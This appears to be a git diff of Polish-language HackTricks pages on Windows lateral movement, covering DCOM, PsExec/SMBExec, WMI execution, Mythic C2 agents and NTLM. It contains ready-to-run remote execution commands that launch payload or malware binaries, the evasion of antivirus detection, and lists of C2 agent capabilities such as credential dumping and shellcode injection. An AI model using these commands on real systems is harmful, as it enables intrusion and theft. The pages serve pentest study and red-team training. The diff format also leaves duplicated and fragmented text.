Obiekt **MMC20.Application** został zidentyfikowany jako pozbawiony wyraźnych "LaunchPermissions", domyślnie przyznających dostęp Administratorom. W celu uzyskania dalszych szczegółów, wątek można zbadać [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a użycie [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET do filtrowania obiektów bez wyraźnych uprawnień uruchomienia jest zalecane.
Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione z powodu braku wyraźnych uprawnień uruchomienia. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak wyraźnych uprawnień.
### ShellWindows
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu przy użyciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po instancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywołania metod, takich jak `Document.Application.ShellExecute`.
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu przy użyciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywołania metod, takich jak `Document.Application.ShellExecute`.
Podano przykładowe polecenia PowerShell do instancjonowania obiektu i zdalnego wykonywania poleceń:
```powershell
```bash
# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
```
### Lateral Movement with Excel DCOM Objects
Ruch boczny można osiągnąć poprzez wykorzystanie obiektów DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za pośrednictwem DCOM na [blogu Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Projekt Empire dostarcza skrypt PowerShell, który demonstruje wykorzystanie Excela do zdalnego wykonywania kodu (RCE) poprzez manipulację obiektami DCOM. Poniżej znajdują się fragmenty skryptu dostępnego w [repozytorium GitHub Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), pokazujące różne metody nadużywania Excela do RCE:
```powershell
```bash
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
@ -88,13 +93,25 @@ Dwa narzędzia są wyróżnione do automatyzacji tych technik:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Narzędzia automatyczne
- Skrypt Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) umożliwia łatwe wywołanie wszystkich skomentowanych sposobów na wykonanie kodu na innych maszynach.
- Możesz użyć `dcomexec.py` z Impacket, aby wykonywać polecenia na zdalnych systemach za pomocą DCOM.
```bash
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
```
- Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- Możesz również użyć [**SharpMove**](https://github.com/0xthirteen/SharpMove)
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Odniesienia
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)

View File

@ -1,4 +1,4 @@
# PsExec/Winexec/ScExec
# PsExec/Winexec/ScExec/SMBExec
{{#include ../../banners/hacktricks-training.md}}
@ -6,17 +6,18 @@
Proces jest opisany w poniższych krokach, ilustrując, jak binaria usług są manipulowane w celu osiągnięcia zdalnego wykonania na docelowej maszynie za pośrednictwem SMB:
1. **Kopiowanie binariów usługi do udziału ADMIN$ przez SMB** jest wykonywane.
1. **Kopiowanie binariów usług do udziału ADMIN$ przez SMB** jest wykonywane.
2. **Tworzenie usługi na zdalnej maszynie** odbywa się poprzez wskazanie na binarium.
3. Usługa jest **uruchamiana zdalnie**.
4. Po zakończeniu usługa jest **zatrzymywana, a binarium jest usuwane**.
### **Proces ręcznego uruchamiania PsExec**
### **Proces ręcznego wykonywania PsExec**
Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym użyciem Veil w celu uniknięcia wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki:
Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym kodem przy użyciu Veil, aby uniknąć wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki:
- **Kopiowanie binarium**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym.
- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które umożliwia zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium.
- Zamiast kopiować binarium, można również użyć binarium LOLBAS, takiego jak `powershell.exe` lub `cmd.exe`, aby wykonać polecenia bezpośrednio z argumentów. Np. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które pozwala na zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium.
- **Uruchamianie usługi**: Ostatni krok polega na uruchomieniu usługi, co prawdopodobnie spowoduje błąd "time-out" z powodu tego, że binarium nie jest prawdziwym binarium usługi i nie zwraca oczekiwanego kodu odpowiedzi. Ten błąd jest nieistotny, ponieważ głównym celem jest wykonanie binarium.
Obserwacja nasłuchiwacza Metasploit ujawni, że sesja została pomyślnie zainicjowana.
@ -25,12 +26,24 @@ Obserwacja nasłuchiwacza Metasploit ujawni, że sesja została pomyślnie zaini
Znajdź bardziej szczegółowe kroki w: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Możesz również użyć binarium Windows Sysinternals PsExec.exe:**
- Możesz również użyć **Windows Sysinternals binary PsExec.exe**:
![](<../../images/image (928).png>)
Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
Lub uzyskać do niego dostęp przez webddav:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
```
- Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- Możesz również użyć [**SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- Możesz również użyć **Impacket's `psexec` i `smbexec.py`**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# RDPexec
{{#include ../../banners/hacktricks-training.md}}
## Jak to działa
**RDPexec** to w zasadzie wykonywanie poleceń logując się do systemu za pomocą RDP.
Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../../network-services-pentesting/pentesting-rdp.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# DCOM Exec
{{#include ../../banners/hacktricks-training.md}}
## SCM
**SCMExec** to technika wykonywania poleceń na zdalnych systemach za pomocą Menedżera Kontroli Usług (SCM), aby utworzyć usługę, która uruchamia polecenie. Metoda ta może omijać niektóre zabezpieczenia, takie jak Kontrola Konta Użytkownika (UAC) i Windows Defender.
## Tools
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# SmbExec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## Jak to działa
**Smbexec** to narzędzie używane do zdalnego wykonywania poleceń na systemach Windows, podobne do **Psexec**, ale unika umieszczania jakichkolwiek złośliwych plików na docelowym systemie.
### Kluczowe punkty dotyczące **SMBExec**
- Działa poprzez tworzenie tymczasowej usługi (na przykład "BTOBTO") na docelowej maszynie, aby wykonywać polecenia za pomocą cmd.exe (%COMSPEC%), bez zrzucania jakichkolwiek binariów.
- Pomimo swojego dyskretnego podejścia, generuje dzienniki zdarzeń dla każdego wykonanego polecenia, oferując formę nieinteraktywnego "shella".
- Polecenie do połączenia za pomocą **Smbexec** wygląda tak:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### Wykonywanie poleceń bez binariów
- **Smbexec** umożliwia bezpośrednie wykonywanie poleceń za pomocą binPaths usługi, eliminując potrzebę fizycznych binariów na docelowym systemie.
- Metoda ta jest przydatna do wykonywania jednorazowych poleceń na docelowym systemie Windows. Na przykład, połączenie jej z modułem `web_delivery` Metasploit pozwala na wykonanie ładunku odwrotnego Meterpreter skierowanego na PowerShell.
- Tworząc zdalną usługę na maszynie atakującego z binPath ustawionym na uruchomienie podanego polecenia przez cmd.exe, możliwe jest pomyślne wykonanie ładunku, osiągając callback i wykonanie ładunku z nasłuchiwaczem Metasploit, nawet jeśli wystąpią błędy odpowiedzi usługi.
### Przykład poleceń
Tworzenie i uruchamianie usługi można zrealizować za pomocą następujących poleceń:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
Aby uzyskać więcej szczegółów, sprawdź [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Odniesienia
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## Jak to działa
Procesy mogą być otwierane na hostach, gdzie znana jest nazwa użytkownika oraz hasło lub hash, za pomocą WMI. Komendy są wykonywane przy użyciu WMI przez Wmiexec, co zapewnia pół-interaktywną powłokę.
Procesy mogą być otwierane na hostach, gdzie znana jest nazwa użytkownika oraz hasło lub hash, za pomocą WMI. Komendy są wykonywane przy użyciu WMI przez Wmiexec, co zapewnia półinteraktywną powłokę.
**dcomexec.py:** Wykorzystując różne punkty końcowe DCOM, ten skrypt oferuje pół-interaktywną powłokę podobną do wmiexec.py, szczególnie wykorzystując obiekt DCOM ShellBrowserWindow. Obecnie obsługuje obiekty MMC20. Application, Shell Windows i Shell Browser Window. (źródło: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
**dcomexec.py:** Wykorzystując różne punkty końcowe DCOM, ten skrypt oferuje półinteraktywną powłokę podobną do wmiexec.py, szczególnie wykorzystując obiekt DCOM ShellBrowserWindow. Obecnie obsługuje obiekty MMC20. Application, Shell Windows i Shell Browser Window. (źródło: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
## Podstawy WMI
### Przestrzeń nazw
Struktura w hierarchii stylu katalogu, najwyższym kontenerem WMI jest \root, pod którym zorganizowane są dodatkowe katalogi, zwane przestrzeniami nazw.
Struktura w hierarchii przypominającej katalog, najwyższym kontenerem WMI jest \root, pod którym zorganizowane są dodatkowe katalogi, zwane przestrzeniami nazw.
Komendy do wyświetlania przestrzeni nazw:
```bash
# Retrieval of Root namespaces
@ -32,7 +32,7 @@ gwmi -Namespace "root/microsoft" -List -Recurse
### **Klasy**
Znajomość nazwy klasy WMI, takiej jak win32_process, oraz przestrzeni nazw, w której się znajduje, jest kluczowa dla każdej operacji WMI.
Polecenia do wyświetlania klas zaczynających się od `win32`:
Polecenia do wyświetlenia klas zaczynających się od `win32`:
```bash
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
@ -85,11 +85,11 @@ wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
```
Zdalne zapytanie WMI o konkretne informacje, takie jak lokalni administratorzy lub zalogowani użytkownicy, jest możliwe przy starannym skonstruowaniu polecenia.
Zdalne zapytania WMI o konkretne informacje, takie jak lokalni administratorzy lub zalogowani użytkownicy, są możliwe przy starannym konstruowaniu poleceń.
### **Ręczne zdalne zapytania WMI**
Ciche identyfikowanie lokalnych administratorów na zdalnej maszynie i zalogowanych użytkowników można osiągnąć za pomocą konkretnych zapytań WMI. `wmic` wspiera również odczyt z pliku tekstowego, aby wykonać polecenia na wielu węzłach jednocześnie.
Ciche identyfikowanie lokalnych administratorów na zdalnej maszynie oraz zalogowanych użytkowników można osiągnąć za pomocą konkretnych zapytań WMI. `wmic` wspiera również odczyt z pliku tekstowego, aby jednocześnie wykonywać polecenia na wielu węzłach.
Aby zdalnie wykonać proces za pomocą WMI, na przykład wdrażając agenta Empire, stosuje się następującą strukturę polecenia, a pomyślne wykonanie jest wskazywane przez wartość zwracaną "0":
```bash
@ -97,14 +97,30 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s
```
Ten proces ilustruje zdolność WMI do zdalnego wykonywania i enumeracji systemu, podkreślając jego użyteczność zarówno w administracji systemem, jak i w pentestingu.
## References
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Automatic Tools
## Narzędzia automatyczne
- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
```bash
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
```
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
```
- Możesz również użyć **Impacket's `wmiexec`**.
## Odniesienia
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,165 @@
# Mythic
## Czym jest Mythic?
Mythic to otwartoźródłowy, modułowy framework dowodzenia i kontroli (C2) zaprojektowany do red teaming. Umożliwia specjalistom ds. bezpieczeństwa zarządzanie i wdrażanie różnych agentów (ładunków) na różnych systemach operacyjnych, w tym Windows, Linux i macOS. Mythic oferuje przyjazny interfejs webowy do zarządzania agentami, wykonywania poleceń i zbierania wyników, co czyni go potężnym narzędziem do symulowania rzeczywistych ataków w kontrolowanym środowisku.
### Instalacja
Aby zainstalować Mythic, postępuj zgodnie z instrukcjami na oficjalnym **[Mythic repo](https://github.com/its-a-feature/Mythic)**.
### Agenci
Mythic obsługuje wiele agentów, które są **ładunkami wykonującymi zadania na skompromitowanych systemach**. Każdy agent może być dostosowany do specyficznych potrzeb i może działać na różnych systemach operacyjnych.
Domyślnie Mythic nie ma zainstalowanych żadnych agentów. Oferuje jednak kilka otwartoźródłowych agentów w [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Aby zainstalować agenta z tego repo, wystarczy uruchomić:
```bash
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
```
Możesz dodać nowe agenty za pomocą poprzedniego polecenia, nawet jeśli Mythic już działa.
### Profile C2
Profile C2 w Mythic definiują **jak agenty komunikują się z serwerem Mythic**. Określają protokół komunikacji, metody szyfrowania i inne ustawienia. Możesz tworzyć i zarządzać profilami C2 za pomocą interfejsu webowego Mythic.
Domyślnie Mythic jest zainstalowany bez profili, jednak możliwe jest pobranie niektórych profili z repozytorium [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) uruchamiając:
```bash
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
Apollo to agent Windows napisany w C# z użyciem .NET Framework 4.0, zaprojektowany do wykorzystania w szkoleniach SpecterOps.
Zainstaluj go za pomocą:
```bash
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
```
Ten agent ma wiele poleceń, które czynią go bardzo podobnym do Beacona Cobalt Strike z dodatkowymi funkcjami. Wśród nich obsługuje:
### Common actions
- `cat`: Wyświetl zawartość pliku
- `cd`: Zmień bieżący katalog roboczy
- `cp`: Skopiuj plik z jednego miejsca do drugiego
- `ls`: Wyświetl pliki i katalogi w bieżącym katalogu lub określonej ścieżce
- `pwd`: Wyświetl bieżący katalog roboczy
- `ps`: Wyświetl uruchomione procesy na systemie docelowym (z dodatkowymi informacjami)
- `download`: Pobierz plik z systemu docelowego na lokalną maszynę
- `upload`: Prześlij plik z lokalnej maszyny do systemu docelowego
- `reg_query`: Zapytaj o klucze i wartości rejestru w systemie docelowym
- `reg_write_value`: Zapisz nową wartość do określonego klucza rejestru
- `sleep`: Zmień interwał snu agenta, który określa, jak często sprawdza połączenie z serwerem Mythic
- I wiele innych, użyj `help`, aby zobaczyć pełną listę dostępnych poleceń.
### Privilege escalation
- `getprivs`: Włącz jak najwięcej uprawnień na bieżącym tokenie wątku
- `getsystem`: Otwórz uchwyt do winlogon i zdubluj token, skutecznie eskalując uprawnienia do poziomu SYSTEM
- `make_token`: Utwórz nową sesję logowania i zastosuj ją do agenta, umożliwiając podszywanie się pod innego użytkownika
- `steal_token`: Ukradnij główny token z innego procesu, umożliwiając agentowi podszywanie się pod użytkownika tego procesu
- `pth`: Atak Pass-the-Hash, umożliwiający agentowi uwierzytelnienie się jako użytkownik przy użyciu ich hasha NTLM bez potrzeby posiadania hasła w postaci tekstowej
- `mimikatz`: Uruchom polecenia Mimikatz, aby wyodrębnić dane uwierzytelniające, hashe i inne wrażliwe informacje z pamięci lub bazy danych SAM
- `rev2self`: Przywróć token agenta do jego głównego tokena, skutecznie obniżając uprawnienia do pierwotnego poziomu
- `ppid`: Zmień proces nadrzędny dla zadań poeksploatacyjnych, określając nowy identyfikator procesu nadrzędnego, co pozwala na lepszą kontrolę nad kontekstem wykonania zadań
- `printspoofer`: Wykonaj polecenia PrintSpoofer, aby obejść środki bezpieczeństwa spooling drukarki, umożliwiając eskalację uprawnień lub wykonanie kodu
- `dcsync`: Synchronizuj klucze Kerberos użytkownika z lokalną maszyną, umożliwiając łamanie haseł offline lub dalsze ataki
- `ticket_cache_add`: Dodaj bilet Kerberos do bieżącej sesji logowania lub określonej, umożliwiając ponowne użycie biletu lub podszywanie się
### Process execution
- `assembly_inject`: Umożliwia wstrzyknięcie loadera zestawu .NET do zdalnego procesu
- `execute_assembly`: Wykonuje zestaw .NET w kontekście agenta
- `execute_coff`: Wykonuje plik COFF w pamięci, umożliwiając wykonanie skompilowanego kodu w pamięci
- `execute_pe`: Wykonuje niezarządzalny plik wykonywalny (PE)
- `inline_assembly`: Wykonuje zestaw .NET w jednorazowym AppDomain, umożliwiając tymczasowe wykonanie kodu bez wpływu na główny proces agenta
- `run`: Wykonuje binarny plik na systemie docelowym, używając PATH systemu do znalezienia pliku wykonywalnego
- `shinject`: Wstrzykuje shellcode do zdalnego procesu, umożliwiając wykonanie dowolnego kodu w pamięci
- `inject`: Wstrzykuje shellcode agenta do zdalnego procesu, umożliwiając wykonanie kodu agenta w pamięci
- `spawn`: Uruchamia nową sesję agenta w określonym pliku wykonywalnym, umożliwiając wykonanie shellcode w nowym procesie
- `spawnto_x64` i `spawnto_x86`: Zmień domyślny plik binarny używany w zadaniach poeksploatacyjnych na określoną ścieżkę zamiast używać `rundll32.exe` bez parametrów, co jest bardzo hałaśliwe.
### Mithic Forge
To pozwala na **ładowanie plików COFF/BOF** z Mythic Forge, który jest repozytorium wstępnie skompilowanych ładunków i narzędzi, które mogą być wykonywane na systemie docelowym. Dzięki wszystkim poleceniom, które można załadować, będzie możliwe wykonywanie typowych działań, uruchamiając je w bieżącym procesie agenta jako BOF (zwykle bardziej dyskretnie).
Zacznij je instalować za pomocą:
```bash
./mythic-cli install github https://github.com/MythicAgents/forge.git
```
Następnie użyj `forge_collections`, aby pokazać moduły COFF/BOF z Mythic Forge, aby móc je wybrać i załadować do pamięci agenta w celu wykonania. Domyślnie w Apollo dodawane są następujące 2 kolekcje:
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
Po załadowaniu jednego modułu, pojawi się on na liście jako inna komenda, jak `forge_bof_sa-whoami` lub `forge_bof_sa-netuser`.
### Wykonanie Powershell i skryptów
- `powershell_import`: Importuje nowy skrypt PowerShell (.ps1) do pamięci podręcznej agenta do późniejszego wykonania
- `powershell`: Wykonuje polecenie PowerShell w kontekście agenta, umożliwiając zaawansowane skrypty i automatyzację
- `powerpick`: Wstrzykuje zestaw ładujący PowerShell do procesu ofiary i wykonuje polecenie PowerShell (bez logowania PowerShell).
- `psinject`: Wykonuje PowerShell w określonym procesie, umożliwiając celowe wykonanie skryptów w kontekście innego procesu
- `shell`: Wykonuje polecenie powłoki w kontekście agenta, podobnie jak uruchamianie polecenia w cmd.exe
### Ruch Lateralny
- `jump_psexec`: Używa techniki PsExec do ruchu lateralnego do nowego hosta, najpierw kopiując plik wykonywalny agenta Apollo (apollo.exe) i wykonując go.
- `jump_wmi`: Używa techniki WMI do ruchu lateralnego do nowego hosta, najpierw kopiując plik wykonywalny agenta Apollo (apollo.exe) i wykonując go.
- `wmiexecute`: Wykonuje polecenie na lokalnym lub określonym zdalnym systemie za pomocą WMI, z opcjonalnymi poświadczeniami do impersonacji.
- `net_dclist`: Pobiera listę kontrolerów domeny dla określonej domeny, przydatne do identyfikacji potencjalnych celów do ruchu lateralnego.
- `net_localgroup`: Wyświetla lokalne grupy na określonym komputerze, domyślnie na localhost, jeśli nie określono komputera.
- `net_localgroup_member`: Pobiera członkostwo lokalnej grupy dla określonej grupy na lokalnym lub zdalnym komputerze, umożliwiając enumerację użytkowników w określonych grupach.
- `net_shares`: Wyświetla zdalne udostępnienia i ich dostępność na określonym komputerze, przydatne do identyfikacji potencjalnych celów do ruchu lateralnego.
- `socks`: Włącza proxy zgodne z SOCKS 5 w sieci docelowej, umożliwiając tunelowanie ruchu przez skompromitowany host. Kompatybilne z narzędziami takimi jak proxychains.
- `rpfwd`: Rozpoczyna nasłuchiwanie na określonym porcie na docelowym hoście i przekazuje ruch przez Mythic do zdalnego adresu IP i portu, umożliwiając zdalny dostęp do usług w sieci docelowej.
- `listpipes`: Wyświetla wszystkie nazwane potoki w lokalnym systemie, co może być przydatne do ruchu lateralnego lub eskalacji uprawnień poprzez interakcję z mechanizmami IPC.
### Różne polecenia
- `help`: Wyświetla szczegółowe informacje o konkretnych poleceniach lub ogólne informacje o wszystkich dostępnych poleceniach w agencie.
- `clear`: Oznacza zadania jako 'wyczyszczone', aby nie mogły być przejęte przez agentów. Możesz określić `all`, aby wyczyścić wszystkie zadania lub `task Num`, aby wyczyścić konkretne zadanie.
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
Poseidon to agent Golang, który kompiluje się do **Linux i macOS** wykonywalnych.
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
Kiedy użytkownik korzysta z systemu Linux, ma do dyspozycji kilka interesujących poleceń:
### Common actions
- `cat`: Wyświetl zawartość pliku
- `cd`: Zmień bieżący katalog roboczy
- `chmod`: Zmień uprawnienia pliku
- `config`: Wyświetl bieżącą konfigurację i informacje o hoście
- `cp`: Skopiuj plik z jednego miejsca do drugiego
- `curl`: Wykonaj pojedyncze żądanie webowe z opcjonalnymi nagłówkami i metodą
- `upload`: Prześlij plik do celu
- `download`: Pobierz plik z systemu docelowego na lokalną maszynę
- I wiele więcej
### Search Sensitive Information
- `triagedirectory`: Znajdź interesujące pliki w katalogu na hoście, takie jak pliki wrażliwe lub poświadczenia.
- `getenv`: Pobierz wszystkie bieżące zmienne środowiskowe.
### Move laterally
- `ssh`: SSH do hosta przy użyciu wyznaczonych poświadczeń i otwórz PTY bez uruchamiania ssh.
- `sshauth`: SSH do określonego hosta(y) przy użyciu wyznaczonych poświadczeń. Możesz również użyć tego do wykonania konkretnego polecenia na zdalnych hostach za pomocą SSH lub użyć go do SCP plików.
- `link_tcp`: Połącz się z innym agentem przez TCP, umożliwiając bezpośrednią komunikację między agentami.
- `link_webshell`: Połącz się z agentem używając profilu P2P webshell, umożliwiając zdalny dostęp do interfejsu webowego agenta.
- `rpfwd`: Rozpocznij lub zatrzymaj odwrócone przekierowanie portów, umożliwiając zdalny dostęp do usług w sieci docelowej.
- `socks`: Rozpocznij lub zatrzymaj proxy SOCKS5 w sieci docelowej, umożliwiając tunelowanie ruchu przez skompromitowany host. Kompatybilne z narzędziami takimi jak proxychains.
- `portscan`: Skanuj hosty w poszukiwaniu otwartych portów, przydatne do identyfikacji potencjalnych celów do ruchu lateralnego lub dalszych ataków.
### Process execution
- `shell`: Wykonaj pojedyncze polecenie powłoki za pomocą /bin/sh, umożliwiając bezpośrednie wykonanie poleceń na systemie docelowym.
- `run`: Wykonaj polecenie z dysku z argumentami, umożliwiając wykonanie binariów lub skryptów na systemie docelowym.
- `pty`: Otwórz interaktywny PTY, umożliwiając bezpośrednią interakcję z powłoką na systemie docelowym.

View File

@ -10,14 +10,14 @@ Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używ
Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM.
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewniane przez określony plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`.
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewnione przez konkretny plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`.
**Kluczowe punkty**:
- Hashe LM są podatne, a pusty hash LM (`AAD3B435B51404EEAAD3B435B51404EE`) oznacza jego brak użycia.
- Kerberos jest domyślną metodą uwierzytelniania, a NTLM jest używane tylko w określonych warunkach.
- Kerberos jest domyślną metodą uwierzytelniania, a NTLM używane jest tylko w określonych warunkach.
- Pakiety uwierzytelniania NTLM są identyfikowalne po nagłówku "NTLMSSP".
- Protokół LM, NTLMv1 i NTLMv2 są wspierane przez plik systemowy `msv1\_0.dll`.
- Protokóły LM, NTLMv1 i NTLMv2 są wspierane przez plik systemowy `msv1\_0.dll`.
## LM, NTLMv1 i NTLMv2
@ -44,10 +44,10 @@ Możliwe wartości:
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM
```
## Podstawowy schemat uwierzytelniania NTLM w domenie
## Podstawowy schemat uwierzytelniania domeny NTLM
1. **Użytkownik** wprowadza swoje **dane uwierzytelniające**
2. Klient **wysyła żądanie uwierzytelnienia**, przesyłając **nazwę domeny** i **nazwę użytkownika**
2. Komputer kliencki **wysyła żądanie uwierzytelnienia**, przesyłając **nazwę domeny** i **nazwę użytkownika**
3. **Serwer** wysyła **wyzwanie**
4. **Klient szyfruje** **wyzwanie** używając hasha hasła jako klucza i wysyła je jako odpowiedź
5. **Serwer wysyła** do **kontrolera domeny** **nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź**. Jeśli **nie ma** skonfigurowanej Active Directory lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
@ -78,14 +78,14 @@ Uwierzytelnianie jest takie samo jak wspomniane **wcześniej, ale** **serwer** z
Obecnie coraz rzadziej spotyka się środowiska z skonfigurowaną Nieograniczoną Delegacją, ale to nie oznacza, że nie można **nadużyć usługi Print Spooler**.
